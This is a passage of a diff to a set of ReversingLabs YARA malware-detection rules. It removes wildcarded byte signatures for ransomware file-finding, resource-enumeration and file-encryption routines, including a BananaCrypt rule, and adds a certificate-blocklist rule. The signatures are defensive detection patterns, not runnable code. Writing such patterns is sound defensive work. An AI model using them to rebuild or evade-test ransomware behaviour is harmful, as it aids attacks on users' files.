?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 0F 87 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 - } - $enum_resources_p1 = { - 55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 EC ?? 85 C0 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 - ?? C9 C2 ?? ?? 8B 45 ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 EC ?? 85 C0 89 85 ?? ?? ?? ?? 74 ?? 90 8D B4 26 ?? ?? ?? ?? 8B 45 ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 55 ?? - 89 54 24 ?? 8B 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 - 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 - 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? - 85 C0 0F 94 C0 0F B6 C0 89 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B - } - $enum_resources_p2 = { - 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 45 ?? EB ?? 8B 45 ?? 8B 40 ?? 89 85 - ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 83 45 ?? ?? 8B - 85 ?? ?? ?? ?? 39 45 ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 8D 45 ?? 8B 4D - ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? - 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 0F 84 - ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 8D 45 ?? 8B - 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 8B 40 ?? 89 C2 89 85 ?? ?? ?? ?? 8D 45 - ?? 85 D2 89 45 ?? B8 ?? ?? ?? ?? 74 ?? 89 14 24 E8 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 89 - 44 24 ?? 8B 85 ?? ?? ?? ?? 8D 4D ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D - 55 ?? 39 D0 0F 84 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 - } - $encrypt_files_p1 = { - 55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? - C6 45 ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 - 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 03 48 ?? 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 01 C7 04 24 ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 EC ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 4D ?? 83 EC ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 8B 51 ?? 8D - 8D ?? ?? ?? ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? B8 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 8D 8D ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 03 48 ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 EC ?? 39 D0 - 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B - } - $encrypt_files_p2 = { - 40 ?? 89 44 24 ?? 8B 45 ?? 8B 00 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C9 C3 03 48 ?? 8B 41 ?? 83 C8 ?? 89 04 24 C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? 03 48 ?? 8B 41 ?? 83 C8 ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 EC ?? E9 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C5 ?? 83 BD ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 77 ?? 8B 85 - ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 0F 0B 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 - ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 15 ?? ?? - ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 - } - $encrypt_files_p3 = { - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? - ?? ?? 8B 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 - 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 55 89 E5 81 - EC ?? ?? ?? ?? 8D 45 ?? 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 ?? 8B - 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? - 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 - } - $encrypt_files_p4 = { - D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 55 ?? 85 D2 75 ?? C6 45 ?? ?? 8D 45 ?? 89 04 24 - E8 ?? ?? ?? ?? 0F B6 45 ?? C9 C3 8D 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D - ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 - EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 - 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8D 55 ?? 83 - EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 - ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B - 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? - 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 74 ?? - 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 - } - $encrypt_files_p5 = { - 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 - ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? - 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D - ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? - ?? ?? 89 45 ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 - ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D - 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? - C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 - C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? - ?? ?? 8B 45 ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - } - $encrypt_files_p6 = { - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 8B 00 - 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 89 85 ?? ?? ?? ?? 0F - 84 ?? ?? ?? ?? 8D 4D ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 3D ?? - ?? ?? ?? 77 ?? 83 E0 ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 EC ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 - ?? 89 04 24 E8 ?? ?? ?? ?? 8D 55 ?? C7 44 24 ?? ?? ?? ?? ?? 89 C1 89 54 24 ?? 8B 45 - ?? 89 44 24 ?? 89 8D ?? ?? ?? ?? 89 4C 24 ?? 8B 95 ?? ?? ?? ?? 89 14 24 C7 45 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 EC ?? 3B 55 ?? 89 95 ?? ?? ?? ?? 0F 85 ?? ?? ?? - ?? 8B 45 ?? 8B 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C1 E8 ?? 89 8D ?? ?? ?? ?? 85 C0 - 89 85 ?? ?? ?? ?? 74 ?? 8B 45 ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 89 85 ?? - ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 45 ?? ?? 83 85 ?? ?? ?? ?? - ?? 8B 55 ?? 39 95 ?? ?? ?? ?? 75 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - } - $encrypt_files_p7 = { - C7 44 24 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 4D ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 8B 8D ?? ?? ?? ?? 89 4C 24 - ?? 8B 95 ?? ?? ?? ?? 89 54 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 8D ?? - ?? ?? ?? 83 EC ?? 3B 4D ?? 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 51 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? - ?? ?? 89 14 24 E8 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? C6 45 ?? - ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 - 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 - ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 8B 00 89 04 24 C7 - 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 8D 4D ?? 8B 45 ?? 39 C8 74 ?? 89 04 24 E8 ?? - ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 89 45 ?? E9 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $enum_resources_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Bananacrypt : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Cert_Blocklist_6E2D3449272B6B96B8B9F728E87580D5 : INFO FILE { meta: - description = "Yara rule that detects BananaCrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9e47d094-d7fc-57dd-826c-5321d0219273" - date = "2020-09-14" - modified = "2020-09-14" + id = "6975acb9-3b37-51f5-8b4d-0d1a090a18e2" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BananaCrypt.yara#L1-L103" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12930-L12946" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6bde4430e438947b0d7f10c4de11216929ec03af81b3d74f8b7bb8ed134d08d2" + logic_hash = "0155a8c71bf8426bbb980798772b04c145df5b8c4b60ff1a610a1236a47547ef" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BananaCrypt" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 89 E5 57 56 53 89 C3 81 EC ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 55 ?? 89 8D ?? ?? ?? - ?? 85 D2 74 ?? 8B 45 ?? 85 C0 0F 85 ?? ?? ?? ?? 31 F6 0F B6 13 84 D2 0F 84 ?? ?? ?? - ?? 8D 43 ?? 88 95 ?? ?? ?? ?? 8D 8B ?? ?? ?? ?? 8D BD ?? ?? ?? ?? EB ?? 83 C0 ?? 83 - C7 ?? 88 57 ?? 39 C1 74 ?? 0F B6 10 84 D2 75 ?? 89 BD ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - C6 00 ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 F0 84 - C0 0F 85 ?? ?? ?? ?? 8D 5D ?? 8D 76 ?? 8D BC 27 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 - 24 E8 ?? ?? ?? ?? 85 C0 89 C6 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? - 39 F9 89 C8 76 ?? 0F B6 41 ?? 89 CF 3C ?? 0F 95 C1 3C ?? 0F 95 C2 84 D1 0F 84 ?? ?? - ?? ?? 3C ?? 0F 84 ?? ?? ?? ?? 8D 47 ?? C6 07 ?? 8D 7E ?? 39 D8 89 BD ?? ?? ?? ?? 73 - ?? 0F B6 56 ?? 84 D2 74 ?? 89 F9 8B BD ?? ?? ?? ?? EB ?? 90 0F B6 11 84 D2 74 ?? 83 - C0 ?? 83 C1 ?? 88 50 ?? 39 D8 75 ?? 89 BD ?? ?? ?? ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 31 - FF 89 04 24 E8 ?? ?? ?? ?? 85 C0 89 C2 74 ?? 80 38 ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 90 - 83 C7 ?? 80 3C 3A ?? 75 ?? 89 85 ?? ?? ?? ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 89 95 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 46 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 8B 95 - ?? ?? ?? ?? 74 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 7C 24 ?? 89 14 24 89 - } - $encrypt_files_p2 = { - 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 04 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C6 8D 85 ?? ?? ?? ?? 89 F1 89 04 24 E8 ?? ?? ?? ?? - 83 EC ?? 89 F1 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 89 C7 8D - 40 ?? 83 F8 ?? 76 ?? 89 F1 83 05 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 3C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 F1 E8 ?? - ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 - ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 89 - F1 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B - B5 ?? ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A6 0F 84 ?? ?? ?? ?? 8B B5 ?? ?? ?? - ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A6 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 8D ?? ?? ?? ?? - 8B 95 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? 8D 74 26 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 - E8 ?? ?? ?? ?? 8D 65 ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C3 8B 45 ?? 89 1C 24 89 44 24 ?? - 8B 45 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 C6 E9 ?? ?? ?? ?? 8D 65 ?? 31 C0 5B 5E 5F 5D - C3 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9 - } - $find_files_p1 = { - 8D 4C 24 ?? 83 E4 ?? FF 71 ?? 55 89 E5 57 56 53 51 81 EC ?? ?? ?? ?? 8B 31 8B 79 ?? - E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 7E ?? 89 74 24 ?? C7 04 - 24 ?? ?? ?? ?? 31 DB E8 ?? ?? ?? ?? 8B 04 9F 89 5C 24 ?? 83 C3 ?? C7 04 24 ?? ?? ?? - ?? 89 44 24 ?? E8 ?? ?? ?? ?? 39 DE 75 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 47 ?? 89 04 24 - E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 - 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D BD ?? - ?? ?? ?? F3 A5 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 04 24 C7 85 - } - $find_files_p2 = { - 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C3 E8 ?? ?? ?? ?? - 8D 44 03 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? E8 - ?? ?? ?? ?? 89 DA 8B 0A 83 C2 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? 74 ?? - A9 ?? ?? ?? ?? 74 ?? 89 C1 00 C1 83 DA ?? C7 02 ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 - 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 84 C0 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 65 ?? 31 C0 59 5B 5E - 5F 5D 8D 61 ?? C3 C1 E8 ?? 83 C2 ?? EB ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? 89 04 24 B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? 